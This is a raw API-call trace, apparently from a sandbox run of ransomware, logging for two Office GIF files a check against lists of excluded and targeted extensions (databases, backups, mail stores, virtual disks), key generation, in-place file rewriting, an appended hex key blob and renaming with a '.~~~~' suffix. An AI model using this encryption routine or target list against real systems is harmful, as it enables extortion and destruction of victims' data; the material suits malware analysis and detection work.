	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".fdb") returned 0x0
	[0141.083] lstrlenW (lpString=".bak") returned 4
	[0141.083] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".bak") returned 0x0
	[0141.083] lstrlenW (lpString=".myd") returned 4
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".myd") returned 0x0
	[0141.084] lstrlenW (lpString=".DTXS") returned 5
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.084] lstrlenW (lpString=".ckp") returned 4
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".ckp") returned 0x0
	[0141.084] lstrlenW (lpString=".dbt") returned 4
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".dbt") returned 0x0
	[0141.084] lstrlenW (lpString=".db") returned 3
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".db") returned 0x0
	[0141.084] lstrlenW (lpString=".TXT") returned 4
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".TXT") returned 0x0
	[0141.084] lstrlenW (lpString=".MDF") returned 4
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".MDF") returned 0x0
	[0141.084] lstrlenW (lpString=".bdb") returned 4
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".bdb") returned 0x0
	[0141.084] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.084] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0141.084] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0141.084] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x394b08) returned 1
	[0141.086] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0141.086] CryptReleaseContext (hProv=0x394b08, dwFlags=0x0) returned 1
	[0141.086] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0141.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.086] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26107643223) returned 1
	[0141.086] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd7fee70, dwHighDateTime=0x1d60e1e)) 
	[0141.086] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b2c18
	[0141.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2c18 | out: hHeap=0x300000) returned 1
	[0141.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0141.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0141.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ae770
	[0141.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0141.087] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b0c98
	[0141.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ae770 | out: hHeap=0x300000) returned 1
	[0141.087] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0141.087] GetLastError () returned 0x0
	[0141.088] GetLastError () returned 0x0
	[0141.088] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0141.088] GetLastError () returned 0x0
	[0141.088] GetLastError () returned 0x0
	[0141.088] ReadFile (in: hFile=0x114, lpBuffer=0x2a520b8, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesRead=0x26dfec0*=0xb819, lpOverlapped=0x0) returned 1
	[0141.257] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xffff47e7, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0141.257] WriteFile (in: hFile=0x114, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0xb819, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0xb819, lpOverlapped=0x0) returned 1
	[0141.267] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0141.267] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0141.267] WriteFile (in: hFile=0x114, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0141.267] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0141.267] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0141.267] CloseHandle (hObject=0x114) returned 1
	[0141.267] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3aeab8
	[0141.268] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR38F.GIF.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir38f.gif.~~~~")) returned 1
	[0141.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aeab8 | out: hHeap=0x300000) returned 1
	[0141.270] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0141.270] GetLastError () returned 0x0
	[0141.270] RtlWakeConditionVariable () returned 0x0
	[0141.270] GetCurrentThreadId () returned 0x9cc
	[0141.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".scr") returned 0x0
	[0141.270] lstrlenW (lpString=".cmd") returned 4
	[0141.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".cmd") returned 0x0
	[0141.270] lstrlenW (lpString=".dll") returned 4
	[0141.270] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dll") returned 0x0
	[0141.271] lstrlenW (lpString=".bat") returned 4
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".bat") returned 0x0
	[0141.271] lstrlenW (lpString=".cpl") returned 4
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".cpl") returned 0x0
	[0141.271] lstrlenW (lpString=".sys") returned 4
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".sys") returned 0x0
	[0141.271] lstrlenW (lpString=".msc") returned 4
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".msc") returned 0x0
	[0141.271] lstrlenW (lpString=".com") returned 4
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".com") returned 0x0
	[0141.271] lstrlenW (lpString=".lnk") returned 4
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".lnk") returned 0x0
	[0141.271] lstrlenW (lpString=".msp") returned 4
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".msp") returned 0x0
	[0141.271] lstrlenW (lpString=".pif") returned 4
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".pif") returned 0x0
	[0141.271] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0141.271] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch="msp\r\n.pif") returned 0x0
	[0141.271] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\pubspapr\\pdir43f.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
	[0141.273] lstrlenW (lpString=".sqb") returned 4
	[0141.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".sqb") returned 0x0
	[0141.273] lstrlenW (lpString=".ost") returned 4
	[0141.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".ost") returned 0x0
	[0141.273] lstrlenW (lpString=".txt") returned 4
	[0141.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".txt") returned 0x0
	[0141.273] lstrlenW (lpString=".mdt") returned 4
	[0141.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".mdt") returned 0x0
	[0141.273] lstrlenW (lpString=".BDB") returned 4
	[0141.273] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".BDB") returned 0x0
	[0141.273] lstrlenW (lpString=".eql") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".eql") returned 0x0
	[0141.274] lstrlenW (lpString=".DBF") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DBF") returned 0x0
	[0141.274] lstrlenW (lpString=".EQL") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".EQL") returned 0x0
	[0141.274] lstrlenW (lpString=".FDB") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".FDB") returned 0x0
	[0141.274] lstrlenW (lpString=".EDB") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".EDB") returned 0x0
	[0141.274] lstrlenW (lpString=".DACPAC") returned 7
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DACPAC") returned 0x0
	[0141.274] lstrlenW (lpString=".VHD") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".VHD") returned 0x0
	[0141.274] lstrlenW (lpString=".DBV") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DBV") returned 0x0
	[0141.274] lstrlenW (lpString=".dacpac") returned 7
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dacpac") returned 0x0
	[0141.274] lstrlenW (lpString=".sdf") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".sdf") returned 0x0
	[0141.274] lstrlenW (lpString=".accdb") returned 6
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".accdb") returned 0x0
	[0141.274] lstrlenW (lpString=".DBX") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DBX") returned 0x0
	[0141.274] lstrlenW (lpString=".MDT") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".MDT") returned 0x0
	[0141.274] lstrlenW (lpString=".SQB") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".SQB") returned 0x0
	[0141.274] lstrlenW (lpString=".vhd") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".vhd") returned 0x0
	[0141.274] lstrlenW (lpString=".bac") returned 4
	[0141.274] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".bac") returned 0x0
	[0141.275] lstrlenW (lpString=".mdf") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".mdf") returned 0x0
	[0141.275] lstrlenW (lpString=".BAK") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".BAK") returned 0x0
	[0141.275] lstrlenW (lpString=".BAC") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".BAC") returned 0x0
	[0141.275] lstrlenW (lpString=".dbs") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dbs") returned 0x0
	[0141.275] lstrlenW (lpString=".vhdx") returned 5
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".vhdx") returned 0x0
	[0141.275] lstrlenW (lpString=".NDF") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".NDF") returned 0x0
	[0141.275] lstrlenW (lpString=".dat") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dat") returned 0x0
	[0141.275] lstrlenW (lpString=".DBS") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DBS") returned 0x0
	[0141.275] lstrlenW (lpString=".CKP") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".CKP") returned 0x0
	[0141.275] lstrlenW (lpString=".edb") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".edb") returned 0x0
	[0141.275] lstrlenW (lpString=".PST") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".PST") returned 0x0
	[0141.275] lstrlenW (lpString=".dbf") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dbf") returned 0x0
	[0141.275] lstrlenW (lpString=".SQL") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".SQL") returned 0x0
	[0141.275] lstrlenW (lpString=".pst") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".pst") returned 0x0
	[0141.275] lstrlenW (lpString=".dbv") returned 4
	[0141.275] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dbv") returned 0x0
	[0141.275] lstrlenW (lpString=".SDF") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".SDF") returned 0x0
	[0141.276] lstrlenW (lpString=".dtxs") returned 5
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dtxs") returned 0x0
	[0141.276] lstrlenW (lpString=".db3") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".db3") returned 0x0
	[0141.276] lstrlenW (lpString=".OST") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".OST") returned 0x0
	[0141.276] lstrlenW (lpString=".dbx") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dbx") returned 0x0
	[0141.276] lstrlenW (lpString=".DB3") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DB3") returned 0x0
	[0141.276] lstrlenW (lpString=".DAT") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DAT") returned 0x0
	[0141.276] lstrlenW (lpString=".VHDX") returned 5
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".VHDX") returned 0x0
	[0141.276] lstrlenW (lpString=".ndf") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".ndf") returned 0x0
	[0141.276] lstrlenW (lpString=".DB") returned 3
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DB") returned 0x0
	[0141.276] lstrlenW (lpString=".sql") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".sql") returned 0x0
	[0141.276] lstrlenW (lpString=".MYD") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".MYD") returned 0x0
	[0141.276] lstrlenW (lpString=".DBT") returned 4
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DBT") returned 0x0
	[0141.276] lstrlenW (lpString=".ACCDB") returned 6
	[0141.276] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".ACCDB") returned 0x0
	[0141.276] lstrlenW (lpString=".fdb") returned 4
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".fdb") returned 0x0
	[0141.277] lstrlenW (lpString=".bak") returned 4
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".bak") returned 0x0
	[0141.277] lstrlenW (lpString=".myd") returned 4
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".myd") returned 0x0
	[0141.277] lstrlenW (lpString=".DTXS") returned 5
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".DTXS") returned 0x0
	[0141.277] lstrlenW (lpString=".ckp") returned 4
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".ckp") returned 0x0
	[0141.277] lstrlenW (lpString=".dbt") returned 4
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".dbt") returned 0x0
	[0141.277] lstrlenW (lpString=".db") returned 3
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".db") returned 0x0
	[0141.277] lstrlenW (lpString=".TXT") returned 4
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".TXT") returned 0x0
	[0141.277] lstrlenW (lpString=".MDF") returned 4
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".MDF") returned 0x0
	[0141.277] lstrlenW (lpString=".bdb") returned 4
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".bdb") returned 0x0
	[0141.277] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0141.277] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\PUBSPAPR\\PDIR43F.GIF", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0141.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29062e0
	[0141.277] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0141.278] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x395498) returned 1
	[0141.278] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0141.279] CryptReleaseContext (hProv=0x395498, dwFlags=0x0) returned 1
	[0141.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0141.279] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=26126896482) returned 1
	[0141.279] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xbd9c7ef0, dwHighDateTime=0x1d60e1e)) 
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a3610
	[0141.279] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0141.279] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a3610 | out: hHeap=0x300000) returned 1
